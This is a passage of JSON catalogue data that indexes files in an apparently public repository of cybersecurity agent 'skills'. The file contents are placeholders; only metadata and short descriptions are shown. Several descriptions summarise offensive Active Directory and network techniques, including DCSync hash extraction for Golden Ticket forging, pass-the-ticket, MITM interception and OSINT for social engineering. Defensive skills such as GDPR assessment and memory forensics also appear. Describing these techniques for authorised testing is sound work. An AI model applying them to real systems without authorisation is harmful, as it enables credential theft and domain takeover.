-->","isInternal":false,"tokens":231,"sizeBytes":964},{"name":"api-reference.md","path":"skills/conducting-domain-persistence-with-dcsync/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-domain-persistence-with-dcsync/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-domain-persistence-with-dcsync%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":477,"sizeBytes":1742},{"name":"standards.md","path":"skills/conducting-domain-persistence-with-dcsync/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-domain-persistence-with-dcsync/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-domain-persistence-with-dcsync%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":263,"sizeBytes":995},{"name":"workflows.md","path":"skills/conducting-domain-persistence-with-dcsync/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-domain-persistence-with-dcsync/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-domain-persistence-with-dcsync%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":311,"sizeBytes":1411},{"name":"SKILL.md","path":"skills/conducting-domain-persistence-with-dcsync/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-domain-persistence-with-dcsync/SKILL.md","title":"conducting-domain-persistence-with-dcsync","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-domain-persistence-with-dcsync%2FSKILL.md -->","frontmatter":{"name":"conducting-domain-persistence-with-dcsync","description":"Perform DCSync attacks by abusing MS-DRSR replication rights (DS-Replication-Get-Changes/-All) to impersonate a Domain Controller and extract KRBTGT, Domain Admin, and service account hashes for Golden Ticket forging, typically with Mimikatz. Use in authorized engagements after finding principals with replication rights, to establish long-term domain persistence, or to validate detections for replication abuse.","domain":"cybersecurity","subdomain":"red-teaming","tags":["red-team","active-directory","dcsync","persistence","credential-dumping","golden-ticket","mimikatz"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Platform Monitoring"],"nist_csf":["ID.RA-01","GV.OV-02","DE.AE-07"],"mitre_attack":["T1003.006","T1207","T1098"]},"isInternal":false,"tokens":2156,"sizeBytes":8569},{"name":"api-reference.md","path":"skills/conducting-external-reconnaissance-with-osint/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-external-reconnaissance-with-osint/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-external-reconnaissance-with-osint%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":439,"sizeBytes":1852},{"name":"SKILL.md","path":"skills/conducting-external-reconnaissance-with-osint/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-external-reconnaissance-with-osint/SKILL.md","title":"conducting-external-reconnaissance-with-osint","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-external-reconnaissance-with-osint%2FSKILL.md -->","frontmatter":{"name":"conducting-external-reconnaissance-with-osint","description":"Conduct external recon using OSINT techniques to map an organization's external attack surface without touching target systems, gathering DNS records, certificate transparency logs, search results, social media, code repositories, and breach databases into a target profile. Use for the passive info-gathering phase of a pentest, external footprinting, or collecting employee/email intel for a social engineering campaign.","domain":"cybersecurity","subdomain":"penetration-testing","tags":["OSINT","reconnaissance","attack-surface","footprinting","passive-recon"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1592","T1589","T1590"]},"isInternal":false,"tokens":2622,"sizeBytes":12385},{"name":"template.md","path":"skills/conducting-full-scope-red-team-engagement/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-full-scope-red-team-engagement/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-full-scope-red-team-engagement%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":2002,"sizeBytes":6997},{"name":"api-reference.md","path":"skills/conducting-full-scope-red-team-engagement/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-full-scope-red-team-engagement/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-full-scope-red-team-engagement%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":464,"sizeBytes":1815},{"name":"standards.md","path":"skills/conducting-full-scope-red-team-engagement/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-full-scope-red-team-engagement/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-full-scope-red-team-engagement%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":1255,"sizeBytes":4411},{"name":"workflows.md","path":"skills/conducting-full-scope-red-team-engagement/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-full-scope-red-team-engagement/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-full-scope-red-team-engagement%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1612,"sizeBytes":8612},{"name":"SKILL.md","path":"skills/conducting-full-scope-red-team-engagement/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-full-scope-red-team-engagement/SKILL.md","title":"conducting-full-scope-red-team-engagement","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-full-scope-red-team-engagement%2FSKILL.md -->","frontmatter":{"name":"conducting-full-scope-red-team-engagement","description":"Plan and execute a comprehensive, MITRE ATT&CK-aligned red team engagement spanning threat modeling, reconnaissance, initial access, and post-exploitation to evaluate an organization's detection, prevention, and response against APT-style behavior. Use when scoping or running a full-scope, objective-based engagement, or purple-teaming against a specific threat actor's TTPs.","domain":"cybersecurity","subdomain":"red-teaming","tags":["red-team","adversary-emulation","mitre-attack","penetration-testing","offensive-security","purple-team","ttp-mapping"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["File Metadata Consistency Validation","Application Protocol Command Analysis","Identifier Analysis","Content Format Conversion","Message Analysis"],"nist_csf":["ID.RA-01","GV.OV-02","DE.AE-07"],"mitre_attack":["T1566.001","T1059.001","T1078","T1071.001"]},"isInternal":false,"tokens":2018,"sizeBytes":7837},{"name":"compliance-scorecard.md","path":"skills/conducting-gdpr-compliance-assessment/assets/compliance-scorecard.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-gdpr-compliance-assessment/assets/compliance-scorecard.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-gdpr-compliance-assessment%2Fassets%2Fcompliance-scorecard.md -->","isInternal":false,"tokens":2901,"sizeBytes":10111},{"name":"api-reference.md","path":"skills/conducting-gdpr-compliance-assessment/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-gdpr-compliance-assessment/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-gdpr-compliance-assessment%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1735,"sizeBytes":6640},{"name":"detailed-workflow.md","path":"skills/conducting-gdpr-compliance-assessment/references/detailed-workflow.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-gdpr-compliance-assessment/references/detailed-workflow.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-gdpr-compliance-assessment%2Freferences%2Fdetailed-workflow.md -->","isInternal":false,"tokens":4608,"sizeBytes":20170},{"name":"standards.md","path":"skills/conducting-gdpr-compliance-assessment/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-gdpr-compliance-assessment/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-gdpr-compliance-assessment%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":1385,"sizeBytes":6375},{"name":"SKILL.md","path":"skills/conducting-gdpr-compliance-assessment/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-gdpr-compliance-assessment/SKILL.md","title":"conducting-gdpr-compliance-assessment","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-gdpr-compliance-assessment%2FSKILL.md -->","frontmatter":{"name":"conducting-gdpr-compliance-assessment","description":"Conduct comprehensive GDPR compliance assessments by evaluating data processing activities against EU Regulation 2016/679, including Article 30 records of processing, lawful basis validation, data subject rights implementation, Data Protection Impact Assessments (DPIAs) under Article 35, breach notification procedures, international transfer safeguards (SCCs, adequacy decisions), and technical/organizational measures under Article 32. Use when processing personal data of EU residents, preparing for supervisory authority audits, implementing privacy-by-design for new systems, scoping compliance gaps for M&A due diligence, assessing third-party processors, or responding to data subject access requests at scale. Incorporates 2026 guidance from ICO, EDPB, and post-Data (Use and Access) Act 2025 UK-GDPR considerations. Do not use for implementing specific Article 32 controls — use implementing-gdpr-data-protection-controls; or for DSAR automation — use implementing-gdpr-data-subject-access-request.","domain":"cybersecurity","subdomain":"compliance-governance","tags":["gdpr","data-protection","privacy","compliance","dpia","data-subject-rights","article-30","controller","processor","eu-regulation","ico","supervisory-authority"],"version":"1.0","author":"dakshverma23","license":"Apache-2.0","nist_csf":["GV.OC-02","GV.PO-01","GV.RM-04","PR.DS-01","PR.DS-02","ID.AM-05"],"mitre_attack":["T1530","T1567"]},"isInternal":false,"tokens":3240,"sizeBytes":13671},{"name":"template.md","path":"skills/conducting-internal-network-penetration-test/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-internal-network-penetration-test/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-network-penetration-test%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":404,"sizeBytes":1582},{"name":"api-reference.md","path":"skills/conducting-internal-network-penetration-test/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-internal-network-penetration-test/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-network-penetration-test%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":500,"sizeBytes":1854},{"name":"standards.md","path":"skills/conducting-internal-network-penetration-test/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-internal-network-penetration-test/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-network-penetration-test%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":323,"sizeBytes":1177},{"name":"workflows.md","path":"skills/conducting-internal-network-penetration-test/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-internal-network-penetration-test/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-network-penetration-test%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":334,"sizeBytes":1390},{"name":"SKILL.md","path":"skills/conducting-internal-network-penetration-test/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-internal-network-penetration-test/SKILL.md","title":"conducting-internal-network-penetration-test","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-network-penetration-test%2FSKILL.md -->","frontmatter":{"name":"conducting-internal-network-penetration-test","description":"Execute an internal network penetration test simulating an insider threat or post-breach attacker to identify lateral movement paths, privilege escalation vectors, and sensitive data exposure within the corporate network.","domain":"cybersecurity","subdomain":"penetration-testing","tags":["internal-pentest","lateral-movement","privilege-escalation","Responder","Impacket","assumed-breach","network-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Network Traffic Community Deviation"],"nist_csf":["ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07"],"mitre_attack":["T1046","T1018","T1021","T1210"]},"isInternal":false,"tokens":3097,"sizeBytes":10447},{"name":"template.md","path":"skills/conducting-internal-reconnaissance-with-bloodhound-ce/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-internal-reconnaissance-with-bloodhound-ce/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-reconnaissance-with-bloodhound-ce%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":281,"sizeBytes":1006},{"name":"api-reference.md","path":"skills/conducting-internal-reconnaissance-with-bloodhound-ce/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-internal-reconnaissance-with-bloodhound-ce/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-reconnaissance-with-bloodhound-ce%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":509,"sizeBytes":1817},{"name":"standards.md","path":"skills/conducting-internal-reconnaissance-with-bloodhound-ce/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-internal-reconnaissance-with-bloodhound-ce/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-reconnaissance-with-bloodhound-ce%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":277,"sizeBytes":1083},{"name":"workflows.md","path":"skills/conducting-internal-reconnaissance-with-bloodhound-ce/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-internal-reconnaissance-with-bloodhound-ce/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-reconnaissance-with-bloodhound-ce%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":432,"sizeBytes":1937},{"name":"SKILL.md","path":"skills/conducting-internal-reconnaissance-with-bloodhound-ce/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-internal-reconnaissance-with-bloodhound-ce/SKILL.md","title":"conducting-internal-reconnaissance-with-bloodhound-ce","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-reconnaissance-with-bloodhound-ce%2FSKILL.md -->","frontmatter":{"name":"conducting-internal-reconnaissance-with-bloodhound-ce","description":"Conduct internal Active Directory reconnaissance using BloodHound Community Edition's graph database with the SharpHound (AD) and AzureHound (Entra ID) collectors, mapping ACLs, sessions, and group memberships into attack paths from a low-privileged foothold to Domain Admin. Use after an initial AD foothold to identify privilege escalation chains, or to validate that AD hardening closed known attack paths.","domain":"cybersecurity","subdomain":"red-teaming","tags":["red-team","reconnaissance","bloodhound","active-directory","attack-paths","privilege-escalation","graph-analysis"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Restore Access","Password Authentication","Biometric Authentication","Strong Password Policy","Restore User Account Access"],"nist_csf":["ID.RA-01","GV.OV-02","DE.AE-07"],"mitre_attack":["T1087.002","T1069.002","T1482","T1018"]},"isInternal":false,"tokens":1985,"sizeBytes":8158},{"name":"api-reference.md","path":"skills/conducting-malware-incident-response/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-malware-incident-response/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-malware-incident-response%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":431,"sizeBytes":1763},{"name":"SKILL.md","path":"skills/conducting-malware-incident-response/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-malware-incident-response/SKILL.md","title":"conducting-malware-incident-response","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-malware-incident-response%2FSKILL.md -->","frontmatter":{"name":"conducting-malware-incident-response","description":"Respond to malware infections across enterprise endpoints by identifying the malware family, determining infection vectors, assessing spread, and executing containment, analysis, eradication, and recovery procedures aligned to MITRE ATT&CK. Use when responding to a confirmed or suspected malware infection, including trojan/worm/ransomware outbreaks, malware triage, or infected endpoint remediation.","domain":"cybersecurity","subdomain":"incident-response","tags":["malware-response","malware-analysis","eradication","endpoint-remediation","MITRE-ATT&CK"],"mitre_attack":["T1204","T1027","T1055","T1059","T1486"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["File Metadata Consistency Validation","Application Protocol Command Analysis","Identifier Analysis","Content Format Conversion","Message Analysis"],"nist_csf":["RS.MA-01","RS.MA-02","RS.AN-03","RC.RP-01"]},"isInternal":false,"tokens":2260,"sizeBytes":10058},{"name":"api-reference.md","path":"skills/conducting-man-in-the-middle-attack-simulation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-man-in-the-middle-attack-simulation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-man-in-the-middle-attack-simulation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":546,"sizeBytes":2228},{"name":"SKILL.md","path":"skills/conducting-man-in-the-middle-attack-simulation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-man-in-the-middle-attack-simulation/SKILL.md","title":"conducting-man-in-the-middle-attack-simulation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-man-in-the-middle-attack-simulation%2FSKILL.md -->","frontmatter":{"name":"conducting-man-in-the-middle-attack-simulation","description":"Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap in authorized environments to intercept, analyze, and modify network traffic for testing encryption enforcement, certificate validation, and detection capabilities.\n","domain":"cybersecurity","subdomain":"network-security","tags":["network-security","mitm","bettercap","ettercap","mitmproxy"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1557.001","T1557.002","T1040"]},"isInternal":false,"tokens":2901,"sizeBytes":11805},{"name":"api-reference.md","path":"skills/conducting-memory-forensics-with-volatility/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-memory-forensics-with-volatility/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-memory-forensics-with-volatility%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":555,"sizeBytes":2361},{"name":"SKILL.md","path":"skills/conducting-memory-forensics-with-volatility/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-memory-forensics-with-volatility/SKILL.md","title":"conducting-memory-forensics-with-volatility","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-memory-forensics-with-volatility%2FSKILL.md -->","frontmatter":{"name":"conducting-memory-forensics-with-volatility","description":"Performs memory forensics analysis using Volatility 3 to extract evidence of malware execution, process injection, network connections, and credential theft from RAM dumps captured during incident response. Covers memory acquisition, process analysis, DLL inspection, and malware detection. Activates for requests involving memory forensics, RAM analysis, Volatility framework, memory dump investigation, volatile evidence analysis, or live memory acquisition.\n","domain":"cybersecurity","subdomain":"incident-response","tags":["memory-forensics","volatility","RAM-analysis","process-injection","DFIR"],"mitre_attack":["T1055","T1003.001","T1014","T1059.001","T1620"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.MA-01","RS.MA-02","RS.AN-03","RC.RP-01"]},"isInternal":false,"tokens":2659,"sizeBytes":10633},{"name":"api-reference.md","path":"skills/conducting-mobile-app-penetration-test/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-mobile-app-penetration-test/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-mobile-app-penetration-test%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":486,"sizeBytes":2150},{"name":"SKILL.md","path":"skills/conducting-mobile-app-penetration-test/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-mobile-app-penetration-test/SKILL.md","title":"conducting-mobile-app-penetration-test","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-mobile-app-penetration-test%2FSKILL.md -->","frontmatter":{"name":"conducting-mobile-app-penetration-test","description":"Conducts penetration testing of iOS and Android mobile applications following the OWASP Mobile Application Security Testing Guide (MASTG) to identify vulnerabilities in data storage, network communication, authentication, cryptography, and platform-specific security controls. The tester performs static analysis of application binaries, dynamic analysis at runtime, and API security testing to evaluate the complete mobile attack surface. Activates for requests involving mobile app pentest, iOS security assessment, Android security testing, or OWASP MASTG assessment.\n","domain":"cybersecurity","subdomain":"penetration-testing","tags":["mobile-pentest","OWASP-MASTG","Android-security","iOS-security","mobile-application-security"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07"],"mitre_attack":["T1426","T1409","T1521.003","T1633","T1417","T1422"]},"isInternal":false,"tokens":2678,"sizeBytes":12730},{"name":"api-reference.md","path":"skills/conducting-network-penetration-test/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-network-penetration-test/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-network-penetration-test%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":577,"sizeBytes":2209},{"name":"SKILL.md","path":"skills/conducting-network-penetration-test/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-network-penetration-test/SKILL.md","title":"conducting-network-penetration-test","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-network-penetration-test%2FSKILL.md -->","frontmatter":{"name":"conducting-network-penetration-test","description":"Conducts comprehensive network penetration tests against authorized target environments by performing host discovery, port scanning, service enumeration, vulnerability identification, and controlled exploitation to assess the security posture of network infrastructure. The tester follows PTES methodology from reconnaissance through post-exploitation and reporting. Activates for requests involving network pentest, infrastructure security assessment, internal network testing, or external perimeter testing.\n","domain":"cybersecurity","subdomain":"penetration-testing","tags":["network-pentest","Nmap","Metasploit","vulnerability-exploitation","infrastructure-security"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07"],"mitre_attack":["T1046","T1595.002","T1190","T1210","T1021","T1078"]},"isInternal":false,"tokens":2775,"sizeBytes":12666},{"name":"template.md","path":"skills/conducting-pass-the-ticket-attack/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-pass-the-ticket-attack/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-pass-the-ticket-attack%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":255,"sizeBytes":918},{"name":"api-reference.md","path":"skills/conducting-pass-the-ticket-attack/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-pass-the-ticket-attack/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-pass-the-ticket-attack%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":427,"sizeBytes":1683},{"name":"standards.md","path":"skills/conducting-pass-the-ticket-attack/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-pass-the-ticket-attack/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-pass-the-ticket-attack%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":361,"sizeBytes":1464},{"name":"workflows.md","path":"skills/conducting-pass-the-ticket-attack/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-pass-the-ticket-attack/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-pass-the-ticket-attack%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":858,"sizeBytes":3034},{"name":"SKILL.md","path":"skills/conducting-pass-the-ticket-attack/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-pass-the-ticket-attack/SKILL.md","title":"conducting-pass-the-ticket-attack","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-pass-the-ticket-attack%2FSKILL.md -->","frontmatter":{"name":"conducting-pass-the-ticket-attack","description":"Perform Pass-the-Ticket (PtT) lateral movement by extracting Kerberos TGT/TGS tickets from LSASS memory on a compromised host and injecting them into another session to impersonate the 